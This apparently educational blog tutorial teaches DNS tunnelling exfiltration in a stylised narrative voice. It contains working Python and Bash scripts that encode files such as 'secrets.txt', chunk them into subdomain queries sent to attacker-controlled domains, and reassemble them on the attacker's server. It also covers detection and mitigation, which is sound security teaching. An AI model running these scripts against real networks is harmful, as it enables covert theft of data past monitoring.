Skillfade Logo

Exfiltration with DNS Tunnelling

⏳ 10 min read

Table of Contents

    Cybersecurity Illustration

    I woke up inside the packet-swarm just after midnight, neon leaking through cracked vents of servers that smelled like burnt silicon. The hum of fans was a symphony, a mechanical heartbeat pulling me deeper under the data-skin of this network. Outside, rain hammered the glass towers; inside, DNS queries rose like smoke, twisting through filtered firewalls. I could taste the 8-bit acid of possibility: covert channels, tunnelling, whispers between resolvers, secrets dressed as innocuous TXT records.

    I followed the drift. Every port closed, every protocol monitored, yet a single flicker in the DNS logs, queries to odd domains, data padded in base36, betrayed movement. It was exfiltration, carved through the chinks in DNS, crawling past the guards. I was inside that breach.


    Anatomy of DNS Tunnelling

    Here we break open the wiring, showing how data wriggles through DNS, how those tunnels form, and how defenders might see them. Understand both sides, attack and defence.

    1. What is DNS Tunnelling

    • DNS is designed to translate human names to IP addresses. Normal queries: A, AAAA, MX, TXT, CNAME.
    • Tunnelling piggybacks arbitrary data into DNS requests or responses. Often in TXT or NULL records or as subdomains of a domain controlled by the attacker.
    • Data is encoded (Base32, Base36, Base64, etc.), chunked, sometimes compressed or encrypted.

    2. Why it works, why it’s dangerous

    • DNS often permitted outbound on port 53 or even TCP 53 (as fallback).
    • Many organisations do not deeply inspect the payloads of DNS.
    • Firewall rules may allow port 53 across the board; DNS traffic is often whitelisted.

    3. Tools and techniques commonly used

    • iodine, dnscat2, dns2tcp, dnscrypt, custom Python or Golang tools.
    • Use of caching and TTL tricks, padding noise, random delays to avoid detection.

    Hands-On: Building a DNS Tunnelling Exfiltration Workflow

    Proceed only in your own lab, in isolated networks, with explicit permissions. Running these may be considered malicious.

    Warning

    This snippet and methods are for educational use only. Running them against systems without authorisation is illegal and punishable. Always operate in controlled environments.


    Step 1: Setup attacker-controlled DNS authoritative server

    You need a domain you own, e.g. exfil-example.com, and control of its DNS zone.

    bash
    # Example using `bind9` on attacker server
    sudo apt update && sudo apt install bind9
    cat <<EOF | sudo tee /etc/bind/named.conf.local
    zone "exfil-example.com" {
        type master;
        file "/etc/bind/db.exfil-example.com";
        allow-query { any; };
    };
    EOF
    
    sudo cp /etc/bind/db.empty /etc/bind/db.exfil-example.com
    cat <<EOF | sudo tee /etc/bind/db.exfil-example.com
    \$TTL    600
    @       IN      SOA     ns.exfil-example.com. admin.exfil-example.com. (
                                2025012601 ; serial
                                604800     ; refresh
                                86400      ; retry
                                2419200    ; expire
                                600 )      ; negative cache TTL
    ;
    @       IN      NS      ns.exfil-example.com.
    ns      IN      A       198.51.100.42
    EOF
    
    sudo systemctl restart bind9
    

    Set up your ns.exfil-example.com nameserver to point to this server’s IP.


    Step 2: Create client side exfil script

    Client will encode a file, chunk it, send as DNS requests.

    python
    # Warning: For lab only. Unauthorised use is illegal.
    import base64
    import dns.resolver
    import os
    
    DEST = "exfil-example.com"
    CHUNK_SIZE = 50  # roughly size to fit in subdomain
    
    def chunkify(data, size):
        return [data[i:i+size] for i in range(0, len(data), size)]
    
    def send_chunk(chunk, ID):
        label = base64.urlsafe_b64encode(chunk).decode('utf-8').rstrip('=')
        qname = f"{ID}.{label}.{DEST}"
        # Using TXT query to retrieve a dummy record
        dns.resolver.resolve(qname, 'TXT')
    
    def exfil_file(path):
        with open(path, 'rb') as f:
            raw = f.read()
        b64 = base64.urlsafe_b64encode(raw)
        chunks = chunkify(b64, CHUNK_SIZE)
        for idx, c in enumerate(chunks):
            send_chunk(c, idx)
            print(f"Sent chunk {idx}/{len(chunks)}")
    
    if __name__ == "__main__":
        exfil_file("secrets.txt")
    

    Step 3: Capture and reassemble exfiltrated data on the authoritative server

    On your exfil DNS server, enable logging of queries. Use tools like dnstap, tcpdump, or bind’s query-logging.

    bash
    # In bind.conf.options (Ubuntu / Debian)
    options {
        // other options...
        queries-log yes;
        // for performance you might filter
    };
    

    Then:

    bash
    sudo tcpdump -i eth0 port 53 -vvv -w dns_exfil.pcap
    

    Once you have the queries, extract the subdomain labels, base64 decode, rejoin by sequence ID to reconstruct the file.

    Python snippet:

    python
    import base64
    
    # Suppose you have a list of (ID, label) sorted by ID
    received = [(0, "QUJD..."), (1, "REVG..."), ...]
    data = b""
    for _, label in sorted(received, key=lambda x: x[0]):
        padding = '=' * ((4 - len(label) % 4) % 4)
        raw = base64.urlsafe_b64decode(label + padding)
        data += raw
    with open("reconstructed.bin", "wb") as f:
        f.write(data)
    

    Detection and Defence Strategies

    To protect against DNS tunnelling exfiltration deploy layered defences.

    Checklist for monitoring

    • Log all DNS queries, capture full DNS packet when possible.
    • Watch for unusually long subdomain labels, spikes in number of unique subdomain requests.
    • Monitor weird character sets: lots of Base32/Base64-like text, high entropy.
    • Unusual time-based patterns: many small queries at regular intervals.
    • Use DNS servers that can inspect contents beyond headers, or use DNS threat intelligence.

    Mitigation techniques

    • Restrict outbound DNS to authorised resolvers; block direct port 53 to external IPs.
    • Use DNS proxies or recursive resolvers with content inspection.
    • Set max subdomain length limits.
    • Implement egress filtering: limit packet size, allowed record types (A, AAAA, MX, etc.), block TXT, NULL unless strictly needed.

    Workflow for investigation

    1. Identify anomalous domain(s) via logs or alerts.
    2. Pull query logs, isolate queries to those domains.
    3. Extract subdomain parts, compute entropy of label text.
    4. Attempt decoding (Base32/64 etc), reassemble.
    5. Map what data was exfiltrated: files, credentials, config.

    Mini-Lab: Try It Yourself

    Try setting up both ends in a lab.

    • Create two VMs: one is attacker DNS server, one is client.
    • On client, pick a small text file. Use the Python snippet to exfiltrate via DNS.
    • On attacker server, log queries, extract data, reconstruct file.
    • Then simulate defender: configure a firewall to block external port 53 and observe failure.

    Also try detect-mode: generate many fake exfil queries with random domains to test your monitoring scripts.


    Mindset Behind the Tunnel

    Tunnelling is illicit craftsmanship. You think like a parasite, seeing every open channel not as a utility but as opportunity. You imagine bytes disguised as chunks, data hiding in the innocent. Defenders think protocols, policies, thresholds; attackers think entropy, timing, misconfiguration.

    To defend well you must be the infiltrator in reverse, anticipating your own weaknesses: DNS that trusts too much, logs parsed too lazily, thresholds too high. To build your own lab is to glimpse how the hooks work.


    Mastering Exfiltration with DNS Tunnelling: A Practical Guide

    Aim

    The aim of this guide is to teach you how to set up, use and detect DNS tunnelling for exfiltration, developing practical skills in payload construction, code-based implementation, and detection via traffic or content analysis.


    Learning Outcomes

    By the end of this guide you will be able to:

    • Construct and send data over DNS queries using Python or Bash.
    • Understand the DNS tunnelling workflow: client, authoritative server, encoding, chunking.
    • Detect DNS exfiltration using indicators such as entropy, unusual record types, domain length or volume.
    • Implement logging or rules to catch exfiltration attempts in your own network environment.

    Prerequisites

    • A computer (Linux or Windows) with root or administrator permissions.
    • Python 3.x installed; pip and virtual-environment tools (e.g. venv).
    • Basic knowledge of DNS: record types (A, TXT, CNAME etc.), authoritative vs recursive servers.
    • Access to DNS server you control (authoritative zone) or ability to run local authoritative server software.
    • Tools: dig or nslookup, base64, dnslib (Python), tcpdump or wireshark for packet capture.

    Step-by-Step Instructional Guide

    1. Understand DNS Tunnelling Basics

    • Data is encoded (e.g. base64) and split into chunks; each chunk becomes part of a subdomain. The attacker controls the authoritative nameserver for the domain. A client issues a query like:
      encoded_chunk1.domain.com → resolved by attacker’s server.
    • Responses may also encode data back to the client (for command & control).

    2. Build a Simple Client-Side Script in Python

    python
    #!/usr/bin/env python3
    import base64, socket
    from dnslib import DNSRecord, QTYPE, RR, TXT
    
    # configuration
    dns_server = "192.0.2.1"          # your authoritative DNS server
    domain = "exfil.domaintest.com"   # attacker-controlled domain
    data = b"secret_data_to_exfiltrate"
    
    # encode and chunk
    encoded = base64.urlsafe_b64encode(data).decode()
    # limit each label to <= 50 characters
    labels = [encoded[i:i+50] for i in range(0, len(encoded), 50)]
    subdomain = ".".join(labels)
    
    # build DNS query
    qname = f"{subdomain}.{domain}"
    query = DNSRecord.question(qname, qtype="TXT")
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.sendto(query.pack(), (dns_server, 53))
    response, _ = sock.recvfrom(4096)
    ans = DNSRecord.parse(response)
    # inspect TXT record in the answer section if present
    for rr in ans.rr:
        if rr.rtype == QTYPE.TXT:
            print(rr.rdata.strings)
    

    3. Alternatively Use Bash + dig for Manual Exfiltration

    bash
    #!/bin/bash
    SERVER="192.0.2.1"
    DOMAIN="exfil.domaintest.com"
    FILE="secret.txt"
    
    # read and base64 encode
    DATA=$(base64 -w0 $FILE)
    # split in 50-char chunks
    PREFIX=""
    while [ -n "$DATA" ]; do
      CHUNK=${DATA:0:50}
      DATA=${DATA:50}
      QUERY="${CHUNK}.${DOMAIN}"
      dig +short TXT "${QUERY}" @"$SERVER"
    done
    

    4. Set Up Authoritative DNS Server to Receive Queries

    • Use BIND, PowerDNS or similar. Create zone exfil.domaintest.com with your nameserver.
    • In the server script (Python or shell), parse incoming queries; extract the subdomain labels, decode base64; rebuild the original data. Optionally send back a TXT or NULL reply for two-way communication.

    5. Detecting Exfiltration – Payload Analysis

    • Query names with very long subdomains or total FQDN length near the DNS limits raise suspicion. (fidelissecurity.com)
    • Use record types uncommon in normal traffic (TXT, NULL, CNAME or dynamic names) as possible indicators. (fidelissecurity.com)
    • Analyse character entropy in subdomain labels; high entropy suggests encoded or encrypted content. (fidelissecurity.com)

    6. Detecting Exfiltration – Traffic & Behavioural Analysis

    • Monitor number of unique subdomains per domain from a single source; many unique queries to one domain is a strong indicator. (vercara.digicert.com)
    • Check for spikes in query volume; especially if NXDOMAIN responses mount up (due to queries to non-existent subdomains). (fidelissecurity.com)
    • Look at source devices issuing DNS traffic at regular intervals (beacons). (networkthreatdetection.com)

    7. Mitigation and Response Measures

    • Enforce that clients use internal recursive servers that filter or block queries to unknown authoritative servers for domains matching suspicious patterns. (paloaltonetworks.com)
    • Block or limit record types that are not required in your environment (TXT, NULL etc.). (fidelissecurity.com)
    • Establish DNS logging; capture full query names, record types, timestamps, and source IPs. Retain logs sufficiently long to correlate events. (networkthreatdetection.com)

    Use this guide to walk through creating your own DNS tunnelling setup in a safe lab environment. Practice both sides: building the tunnel and detecting it. This dual perspective sharpens your capability to both simulate attacks and defend against them.

    Last night I watched the network breathe, saw exfiltration massage itself through port 53 like a snake through rail-grates. I stitched together subdomains, encodings, scripts that whispered secrets from client to attacker, then stood at the authoritative server, reconstructing the stolen file. The firewall was oblivious. The monitoring flagged nothing until I made it flag. In that luminous architecture, every packet, every long base64 label, every TXT record was both weapon and confession. If you learn these tools, these workflows, bind-config, Python exfil scripts, high-entropy detection, you carry both the power to tunnel data and the ability to stop the tunnels. The neon lights outside the data-centre know you now.